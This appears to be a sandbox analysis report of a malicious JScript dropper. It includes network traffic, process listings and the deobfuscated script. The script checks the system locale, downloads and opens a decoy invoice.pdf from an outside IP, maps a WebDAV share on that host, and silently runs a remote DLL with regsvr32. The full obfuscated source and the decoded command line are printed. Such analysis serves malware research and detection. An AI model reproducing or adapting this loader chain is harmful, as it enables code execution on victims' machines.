Jan 10, 2025 22:19:12.942852020 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 22:19:12.942886114 CET	1116	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 22:19:12.947829008 CET	1232	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	193.143.1.205	8888	5924	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:19:14.666450024 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:19:15.453197002 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:19:15 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:19:07
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\273371081152046820.js"
Imagebase:	0x7ff6c0c20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:19:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll
Imagebase:	0x7ff6d5050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:19:08
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:19:08
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:19:13
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:19:13
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d5050000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:19:13
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff620c90000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:19:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:19:14
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:19:14
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1616,i,17140309894658284269,13296705651481407146,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vghophl() {	vghophl() ➔ undefined
1	vrnqd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xpduug = this[zkmejan + tloxifhi + ebtnsc + xondh + zosff + ultsopfw + vmsshy + jvhls] ( this[dnlhd + movidguz + opbkrba + ebtnsc + cvoslsthx + zkmejan + jvhls][qrofjzpm + ebtnsc + zosff + tloxifhi + jvhls + zosff + lcvvp + bzexkyapz + btyajtj + zosff + opbkrba + jvhls] ( dnlhd + movidguz + opbkrba + ebtnsc + cvoslsthx + zkmejan + jvhls + lvoaqprbc + movidguz + kseissmwj + zosff + szwlwi + szwlwi ) [jctolxgrj + zosff + lorlos + jctolxgrj + zosff + tloxifhi + exxijihp] ( mqszzge + vdnkt + prhos + epbkefdy + kopghfp + qrofjzpm + dftzkq + jctolxgrj + jctolxgrj + prhos + pthqw + jcqqbdu + kopghfp + dftzkq + movidguz + prhos + jctolxgrj + qkjzab + qrofjzpm + pmywowkko + vmsshy + jvhls + ebtnsc + pmywowkko + szwlwi + njshmhz + pjwkey + tloxifhi + vmsshy + zosff + szwlwi + qkjzab + ultsopfw + vmsshy + jvhls + zosff + ebtnsc + vmsshy + tloxifhi + jvhls + cvoslsthx + pmywowkko + vmsshy + tloxifhi + szwlwi + qkjzab + zniixijcd + pmywowkko + opbkrba + tloxifhi + szwlwi + zosff ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( hjmuhd = 0 ; hjmuhd < vrnqd[szwlwi + zosff + vmsshy + lorlos + jvhls + kseissmwj] ; ++ hjmuhd )
4	{
5	if ( xpduug == vrnqd[hjmuhd] )
6	{
7	xpduug = true;
8	break ;
9	}
10	}
11	if ( xpduug !== true )
12	this[dnlhd + movidguz + opbkrba + ebtnsc + cvoslsthx + zkmejan + jvhls][wolumu + pujqjxlbc + cvoslsthx + jvhls] ( );
13	this[dnlhd + movidguz + opbkrba + ebtnsc + cvoslsthx + zkmejan + jvhls][qrofjzpm + ebtnsc + zosff + tloxifhi + jvhls + zosff + lcvvp + bzexkyapz + btyajtj + zosff + opbkrba + jvhls] ( dnlhd + movidguz + opbkrba + ebtnsc + cvoslsthx + zkmejan + jvhls + lvoaqprbc + movidguz + kseissmwj + zosff + szwlwi + szwlwi ) [ebtnsc + pujqjxlbc + vmsshy] ( opbkrba + zmhrlkjgt + exxijihp + njshmhz + yqmpzcjx + opbkrba + njshmhz + zkmejan + pmywowkko + avtwajfv + zosff + ebtnsc + xondh + kseissmwj + zosff + szwlwi + szwlwi + lvoaqprbc + zosff + gmycelq + zosff + njshmhz + mkkaj + qrofjzpm + pmywowkko + zmhrlkjgt + zmhrlkjgt + tloxifhi + vmsshy + exxijihp + njshmhz + xrlsirwkc + ultsopfw + vmsshy + ykffyc + pmywowkko + ubdjeg + zosff + mkkaj + dnlhd + zosff + bzexkyapz + jctolxgrj + zosff + iplfx + pujqjxlbc + zosff + xondh + jvhls + njshmhz + mkkaj + lcvvp + pujqjxlbc + jvhls + brmgiu + cvoslsthx + szwlwi + zosff + njshmhz + zibcmuhfo + jvhls + zosff + zmhrlkjgt + zkmejan + zibcmuhfo + qkjzab + cvoslsthx + vmsshy + ykffyc + pmywowkko + cvoslsthx + opbkrba + zosff + lvoaqprbc + zkmejan + exxijihp + ylwreyjx + njshmhz + kseissmwj + jvhls + jvhls + zkmejan + gtsoafvjq + yqmpzcjx + yqmpzcjx + rqvdhk + fjiwx + jwrfh + lvoaqprbc + rqvdhk + abnvht + jwrfh + lvoaqprbc + rqvdhk + lvoaqprbc + nzwnils + dmthjt + viaycvjcc + yqmpzcjx + cvoslsthx + vmsshy + ykffyc + pmywowkko + cvoslsthx + opbkrba + zosff + lvoaqprbc + zkmejan + kseissmwj + zkmejan + xrlsirwkc + dehkjp + dehkjp + xondh + jvhls + tloxifhi + ebtnsc + jvhls + njshmhz + zibcmuhfo + jvhls + zosff + zmhrlkjgt + zkmejan + zibcmuhfo + qkjzab + cvoslsthx + vmsshy + ykffyc + pmywowkko + cvoslsthx + opbkrba + zosff + lvoaqprbc + zkmejan + exxijihp + ylwreyjx + dehkjp + dehkjp + opbkrba + zmhrlkjgt + exxijihp + njshmhz + yqmpzcjx + opbkrba + njshmhz + vmsshy + zosff + jvhls + njshmhz + pujqjxlbc + xondh + zosff + njshmhz + qkjzab + qkjzab + rqvdhk + fjiwx + jwrfh + lvoaqprbc + rqvdhk + abnvht + jwrfh + lvoaqprbc + rqvdhk + lvoaqprbc + nzwnils + dmthjt + viaycvjcc + utywfi + znzjom + znzjom + znzjom + znzjom + qkjzab + exxijihp + tloxifhi + ykffyc + avtwajfv + avtwajfv + avtwajfv + ebtnsc + pmywowkko + pmywowkko + jvhls + qkjzab + dehkjp + dehkjp + opbkrba + zmhrlkjgt + exxijihp + njshmhz + yqmpzcjx + opbkrba + njshmhz + ebtnsc + zosff + lorlos + xondh + ykffyc + ebtnsc + jwrfh + nzwnils + njshmhz + yqmpzcjx + xondh + njshmhz + qkjzab + qkjzab + rqvdhk + fjiwx + jwrfh + lvoaqprbc + rqvdhk + abnvht + jwrfh + lvoaqprbc + rqvdhk + lvoaqprbc + nzwnils + dmthjt + viaycvjcc + utywfi + znzjom + znzjom + znzjom + znzjom + qkjzab + exxijihp + tloxifhi + ykffyc + avtwajfv + avtwajfv + avtwajfv + ebtnsc + pmywowkko + pmywowkko + jvhls + qkjzab + nzwnils + fjiwx + jwrfh + fjiwx + dmthjt + znzjom + znzjom + vfcqfb + nzwnils + nzwnils + fjiwx + rqvdhk + jwrfh + lvoaqprbc + exxijihp + szwlwi + szwlwi, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2939088722913.dll",0,false) ➔ 0
14	}
15	ylwreyjx = "k";
16	ylwreyjx = "h";
17	ylwreyjx = "J";
18	ylwreyjx = "T";
19	ylwreyjx = "N";
20	ylwreyjx = "I";
21	ylwreyjx = "D";
22	ylwreyjx = "e";
23	ylwreyjx = "s";
24	ylwreyjx = "e";
25	ylwreyjx = "q";
26	ylwreyjx = "o";
27	ylwreyjx = "d";
28	ylwreyjx = "M";
29	ylwreyjx = "U";
30	ylwreyjx = "m";
31	ylwreyjx = "c";
32	ylwreyjx = "p";
33	ylwreyjx = "Y";
34	ylwreyjx = "l";
35	ylwreyjx = "E";
36	ylwreyjx = "P";
37	ylwreyjx = "H";
38	ylwreyjx = "T";
39	ylwreyjx = "V";
40	ylwreyjx = "f";
41	lvoaqprbc = "s";
42	lvoaqprbc = "F";
43	lvoaqprbc = "W";
44	lvoaqprbc = "e";
45	lvoaqprbc = "L";
46	lvoaqprbc = "M";
47	lvoaqprbc = "l";
48	lvoaqprbc = "s";
49	lvoaqprbc = "m";
50	lvoaqprbc = "M";
51	lvoaqprbc = "e";
52	lvoaqprbc = "B";
53	lvoaqprbc = "q";
54	lvoaqprbc = "E";
55	lvoaqprbc = "G";
56	lvoaqprbc = "d";
57	lvoaqprbc = "O";
58	lvoaqprbc = "Z";
59	lvoaqprbc = "c";
60	lvoaqprbc = "s";
61	lvoaqprbc = "W";
62	lvoaqprbc = "N";
63	lvoaqprbc = "e";
64	lvoaqprbc = "Y";
65	lvoaqprbc = "B";
66	lvoaqprbc = "M";
67	lvoaqprbc = "a";
68	lvoaqprbc = "S";
69	lvoaqprbc = ".";
70	xondh = "I";
71	xondh = "N";
72	xondh = "k";
73	xondh = "I";
74	xondh = "e";
75	xondh = "K";
76	xondh = "v";
77	xondh = "q";
78	xondh = "r";
79	xondh = "N";
80	xondh = "J";
81	xondh = "Q";
82	xondh = "T";
83	xondh = "B";
84	xondh = "g";
85	xondh = "x";
86	xondh = "A";
87	xondh = "F";
88	xondh = "Z";
89	xondh = "U";
90	xondh = "C";
91	xondh = "G";
92	xondh = "N";
93	xondh = "q";
94	xondh = "D";
95	xondh = "E";
96	xondh = "H";
97	xondh = "b";
98	xondh = "A";
99	xondh = "h";
100	xondh = "q";
101	xondh = "p";
102	xondh = "d";
103	xondh = "y";
104	xondh = "n";
105	xondh = "E";
106	xondh = "s";
107	rqvdhk = "B";
108	rqvdhk = "I";
109	rqvdhk = "X";
110	rqvdhk = "N";
111	rqvdhk = "J";
112	rqvdhk = "o";
113	rqvdhk = "Q";
114	rqvdhk = "L";
115	rqvdhk = "Z";
116	rqvdhk = "M";
117	rqvdhk = "u";
118	rqvdhk = "k";
119	rqvdhk = "n";
120	rqvdhk = "Y";
121	rqvdhk = "m";
122	rqvdhk = "Y";
123	rqvdhk = "G";
124	rqvdhk = "1";
125	fjiwx = "I";
126	fjiwx = "D";
127	fjiwx = "c";
128	fjiwx = "T";
129	fjiwx = "9";
130	zibcmuhfo = "e";
131	zibcmuhfo = "f";
132	zibcmuhfo = "T";
133	zibcmuhfo = "I";
134	zibcmuhfo = "i";
135	zibcmuhfo = "q";
136	zibcmuhfo = "m";
137	zibcmuhfo = "W";
138	zibcmuhfo = "K";
139	zibcmuhfo = "j";
140	zibcmuhfo = "b";
141	zibcmuhfo = "e";
142	zibcmuhfo = "o";
143	zibcmuhfo = "s";
144	zibcmuhfo = "o";
145	zibcmuhfo = "q";
146	zibcmuhfo = "W";
147	zibcmuhfo = "v";
148	zibcmuhfo = "R";
149	zibcmuhfo = "x";
150	zibcmuhfo = "J";
151	zibcmuhfo = "f";
152	zibcmuhfo = "A";
153	zibcmuhfo = "P";
154	zibcmuhfo = "J";
155	zibcmuhfo = "e";
156	zibcmuhfo = "a";
157	zibcmuhfo = "Z";
158	zibcmuhfo = "i";
159	zibcmuhfo = "h";
160	zibcmuhfo = "%";
161	dftzkq = "x";
162	dftzkq = "Q";
163	dftzkq = "s";
164	dftzkq = "T";
165	dftzkq = "T";
166	dftzkq = "U";
167	dftzkq = "K";
168	dftzkq = "W";
169	dftzkq = "D";
170	dftzkq = "l";
171	dftzkq = "L";
172	dftzkq = "r";
173	dftzkq = "Z";
174	dftzkq = "U";
175	njshmhz = "e";
176	njshmhz = "R";
177	njshmhz = "w";
178	njshmhz = "R";
179	njshmhz = "s";
180	njshmhz = "d";
181	njshmhz = "U";
182	njshmhz = "g";
183	njshmhz = "p";
184	njshmhz = "d";
185	njshmhz = "z";
186	njshmhz = "R";
187	njshmhz = "c";
188	njshmhz = "x";
189	njshmhz = "c";
190	njshmhz = "c";
191	njshmhz = "f";
192	njshmhz = "b";
193	njshmhz = "J";
194	njshmhz = "N";
195	njshmhz = "p";
196	njshmhz = "O";
197	njshmhz = "G";
198	njshmhz = "H";
199	njshmhz = "l";
200	njshmhz = "L";
201	njshmhz = "K";
202	njshmhz = "v";
203	njshmhz = "K";
204	njshmhz = "p";
205	njshmhz = "y";
206	njshmhz = "h";
207	njshmhz = "g";
208	njshmhz = "m";
209	njshmhz = "y";
210	njshmhz = "U";
211	njshmhz = "E";
212	njshmhz = "P";
213	njshmhz = "j";
214	njshmhz = "d";
215	njshmhz = "W";
216	njshmhz = "L";
217	njshmhz = " ";
218	epbkefdy = "F";
219	epbkefdy = "y";
220	epbkefdy = "B";
221	epbkefdy = "Y";
222	lcvvp = "d";
223	lcvvp = "h";
224	lcvvp = "y";
225	lcvvp = "c";
226	lcvvp = "l";
227	lcvvp = "d";
228	lcvvp = "N";
229	lcvvp = "D";
230	lcvvp = "N";
231	lcvvp = "I";
232	lcvvp = "N";
233	lcvvp = "p";
234	lcvvp = "m";
235	lcvvp = "l";
236	lcvvp = "z";
237	lcvvp = "D";
238	lcvvp = "j";
239	lcvvp = "D";
240	lcvvp = "G";
241	lcvvp = "R";
242	lcvvp = "x";
243	lcvvp = "b";
244	lcvvp = "S";
245	lcvvp = "e";
246	lcvvp = "v";
247	lcvvp = "H";
248	lcvvp = "f";
249	lcvvp = "y";
250	lcvvp = "c";
251	lcvvp = "P";
252	lcvvp = "o";
253	lcvvp = "e";
254	lcvvp = "Q";
255	lcvvp = "k";
256	lcvvp = "b";
257	lcvvp = "R";
258	lcvvp = "i";
259	lcvvp = "W";
260	lcvvp = "M";
261	lcvvp = "f";
262	lcvvp = "e";
263	lcvvp = "l";
264	lcvvp = "O";
265	ebtnsc = "p";
266	ebtnsc = "u";
267	ebtnsc = "I";
268	ebtnsc = "u";
269	ebtnsc = "A";
270	ebtnsc = "u";
271	ebtnsc = "r";
272	jcqqbdu = "U";
273	jcqqbdu = "K";
274	jcqqbdu = "C";
275	jcqqbdu = "e";
276	jcqqbdu = "H";
277	jcqqbdu = "T";
278	jcqqbdu = "k";
279	jcqqbdu = "Q";
280	jcqqbdu = "d";
281	jcqqbdu = "Y";
282	jcqqbdu = "K";
283	jcqqbdu = "S";
284	jcqqbdu = "X";
285	jcqqbdu = "L";
286	jcqqbdu = "G";
287	jcqqbdu = "c";
288	jcqqbdu = "R";
289	jcqqbdu = "j";
290	jcqqbdu = "j";
291	jcqqbdu = "i";
292	jcqqbdu = "g";
293	jcqqbdu = "i";
294	jcqqbdu = "P";
295	jcqqbdu = "j";
296	jcqqbdu = "G";
297	jcqqbdu = "r";
298	jcqqbdu = "s";
299	jcqqbdu = "D";
300	jcqqbdu = "h";
301	jcqqbdu = "T";
302	jvhls = "Y";
303	jvhls = "p";
304	jvhls = "y";
305	jvhls = "z";
306	jvhls = "t";
307	jvhls = "p";
308	jvhls = "n";
309	jvhls = "g";
310	jvhls = "t";
311	xrlsirwkc = "R";
312	xrlsirwkc = "b";
313	xrlsirwkc = "V";
314	xrlsirwkc = "S";
315	xrlsirwkc = "N";
316	xrlsirwkc = "P";
317	xrlsirwkc = "j";
318	xrlsirwkc = "E";
319	xrlsirwkc = "V";
320	xrlsirwkc = "Y";
321	xrlsirwkc = "O";
322	xrlsirwkc = "X";
323	xrlsirwkc = "x";
324	xrlsirwkc = "z";
325	xrlsirwkc = "j";
326	xrlsirwkc = "B";
327	xrlsirwkc = "c";
328	xrlsirwkc = "h";
329	xrlsirwkc = "F";
330	xrlsirwkc = "p";
331	xrlsirwkc = "P";
332	xrlsirwkc = "i";
333	xrlsirwkc = "A";
334	xrlsirwkc = "o";
335	xrlsirwkc = "r";
336	xrlsirwkc = "T";
337	xrlsirwkc = "c";
338	xrlsirwkc = "e";
339	xrlsirwkc = "d";
340	xrlsirwkc = "n";
341	xrlsirwkc = "P";
342	xrlsirwkc = "t";
343	xrlsirwkc = "h";
344	xrlsirwkc = "x";
345	xrlsirwkc = "I";
346	xrlsirwkc = "\"";
347	bzexkyapz = "l";
348	bzexkyapz = "V";
349	bzexkyapz = "Y";
350	bzexkyapz = "I";
351	bzexkyapz = "K";
352	bzexkyapz = "v";
353	bzexkyapz = "I";
354	bzexkyapz = "f";
355	bzexkyapz = "n";
356	bzexkyapz = "M";
357	bzexkyapz = "Q";
358	bzexkyapz = "K";
359	bzexkyapz = "I";
360	bzexkyapz = "b";
361	dmthjt = "w";
362	dmthjt = "z";
363	dmthjt = "q";
364	dmthjt = "x";
365	dmthjt = "z";
366	dmthjt = "C";
367	dmthjt = "e";
368	dmthjt = "R";
369	dmthjt = "f";
370	dmthjt = "c";
371	dmthjt = "0";
372	pthqw = "Z";
373	pthqw = "z";
374	pthqw = "N";
375	lorlos = "m";
376	lorlos = "I";
377	lorlos = "Z";
378	lorlos = "S";
379	lorlos = "c";
380	lorlos = "S";
381	lorlos = "L";
382	lorlos = "e";
383	lorlos = "f";
384	lorlos = "E";
385	lorlos = "B";
386	lorlos = "S";
387	lorlos = "g";
388	lorlos = "z";
389	lorlos = "l";
390	lorlos = "B";
391	lorlos = "l";
392	lorlos = "P";
393	lorlos = "X";
394	lorlos = "p";
395	lorlos = "E";
396	lorlos = "K";
397	lorlos = "p";
398	lorlos = "i";
399	lorlos = "e";
400	lorlos = "Y";
401	lorlos = "S";
402	lorlos = "Z";
403	lorlos = "j";
404	lorlos = "a";
405	lorlos = "q";
406	lorlos = "X";
407	lorlos = "J";
408	lorlos = "D";
409	lorlos = "E";
410	lorlos = "R";
411	lorlos = "R";
412	lorlos = "Y";
413	lorlos = "m";
414	lorlos = "b";
415	lorlos = "n";
416	lorlos = "m";
417	lorlos = "b";
418	lorlos = "g";
419	jctolxgrj = "C";
420	jctolxgrj = "n";
421	jctolxgrj = "J";
422	jctolxgrj = "k";
423	jctolxgrj = "V";
424	jctolxgrj = "I";
425	jctolxgrj = "n";
426	jctolxgrj = "R";
427	jwrfh = "S";
428	jwrfh = "C";
429	jwrfh = "3";
430	btyajtj = "K";
431	btyajtj = "f";
432	btyajtj = "F";
433	btyajtj = "G";
434	btyajtj = "u";
435	btyajtj = "v";
436	btyajtj = "e";
437	btyajtj = "u";
438	btyajtj = "z";
439	btyajtj = "h";
440	btyajtj = "L";
441	btyajtj = "M";
442	btyajtj = "w";
443	btyajtj = "E";
444	btyajtj = "g";
445	btyajtj = "g";
446	btyajtj = "H";
447	btyajtj = "J";
448	btyajtj = "T";
449	btyajtj = "o";
450	btyajtj = "q";
451	btyajtj = "a";
452	btyajtj = "W";
453	btyajtj = "I";
454	btyajtj = "j";
455	tloxifhi = "b";
456	tloxifhi = "j";
457	tloxifhi = "p";
458	tloxifhi = "Q";
459	tloxifhi = "b";
460	tloxifhi = "j";
461	tloxifhi = "p";
462	tloxifhi = "l";
463	tloxifhi = "v";
464	tloxifhi = "O";
465	tloxifhi = "C";
466	tloxifhi = "F";
467	tloxifhi = "w";
468	tloxifhi = "r";
469	tloxifhi = "g";
470	tloxifhi = "a";
471	cvoslsthx = "l";
472	cvoslsthx = "K";
473	cvoslsthx = "v";
474	cvoslsthx = "F";
475	cvoslsthx = "q";
476	cvoslsthx = "i";
477	yqmpzcjx = "j";
478	yqmpzcjx = "m";
479	yqmpzcjx = "T";
480	yqmpzcjx = "l";
481	yqmpzcjx = "G";
482	yqmpzcjx = "r";
483	yqmpzcjx = "B";
484	yqmpzcjx = "J";
485	yqmpzcjx = "Z";
486	yqmpzcjx = "f";
487	yqmpzcjx = "s";
488	yqmpzcjx = "e";
489	yqmpzcjx = "V";
490	yqmpzcjx = "C";
491	yqmpzcjx = "e";
492	yqmpzcjx = "z";
493	yqmpzcjx = "d";
494	yqmpzcjx = "h";
495	yqmpzcjx = "v";
496	yqmpzcjx = "C";
497	yqmpzcjx = "h";
498	yqmpzcjx = "B";
499	yqmpzcjx = "r";
500	yqmpzcjx = "/";
501	pmywowkko = "b";
502	pmywowkko = "F";
503	pmywowkko = "p";
504	pmywowkko = "S";
505	pmywowkko = "z";
506	pmywowkko = "r";
507	pmywowkko = "S";
508	pmywowkko = "q";
509	pmywowkko = "e";
510	pmywowkko = "o";
511	dehkjp = "i";
512	dehkjp = "X";
513	dehkjp = "Z";
514	dehkjp = "J";
515	dehkjp = "o";
516	dehkjp = "S";
517	dehkjp = "a";
518	dehkjp = "n";
519	dehkjp = "j";
520	dehkjp = "e";
521	dehkjp = "N";
522	dehkjp = "u";
523	dehkjp = "w";
524	dehkjp = "N";
525	dehkjp = "b";
526	dehkjp = "i";
527	dehkjp = "X";
528	dehkjp = "W";
529	dehkjp = "P";
530	dehkjp = "G";
531	dehkjp = "v";
532	dehkjp = "y";
533	dehkjp = "g";
534	dehkjp = "E";
535	dehkjp = "h";
536	dehkjp = "P";
537	dehkjp = "R";
538	dehkjp = "W";
539	dehkjp = "w";
540	dehkjp = "r";
541	dehkjp = "f";
542	dehkjp = "j";
543	dehkjp = "&";
544	abnvht = "J";
545	abnvht = "i";
546	abnvht = "k";
547	abnvht = "x";
548	abnvht = "l";
549	abnvht = "K";
550	abnvht = "Y";
551	abnvht = "s";
552	abnvht = "w";
553	abnvht = "v";
554	abnvht = "x";
555	abnvht = "I";
556	abnvht = "I";
557	abnvht = "b";
558	abnvht = "r";
559	abnvht = "p";
560	abnvht = "K";
561	abnvht = "4";
562	viaycvjcc = "d";
563	viaycvjcc = "N";
564	viaycvjcc = "V";
565	viaycvjcc = "X";
566	viaycvjcc = "j";
567	viaycvjcc = "L";
568	viaycvjcc = "V";
569	viaycvjcc = "j";
570	viaycvjcc = "d";
571	viaycvjcc = "g";
572	viaycvjcc = "5";
573	utywfi = "i";
574	utywfi = "R";
575	utywfi = "i";
576	utywfi = "A";
577	utywfi = "Z";
578	utywfi = "L";
579	utywfi = "a";
580	utywfi = "w";
581	utywfi = "C";
582	utywfi = "i";
583	utywfi = "m";
584	utywfi = "c";
585	utywfi = "o";
586	utywfi = "B";
587	utywfi = "U";
588	utywfi = "u";
589	utywfi = "L";
590	utywfi = "e";
591	utywfi = "L";
592	utywfi = "H";
593	utywfi = "d";
594	utywfi = "d";
595	utywfi = "e";
596	utywfi = "x";
597	utywfi = "J";
598	utywfi = "h";
599	utywfi = "X";
600	utywfi = "F";
601	utywfi = "y";
602	utywfi = "y";
603	utywfi = "O";
604	utywfi = "I";
605	utywfi = "g";
606	utywfi = "m";
607	utywfi = "U";
608	utywfi = "K";
609	utywfi = "L";
610	utywfi = "c";
611	utywfi = "Y";
612	utywfi = "V";
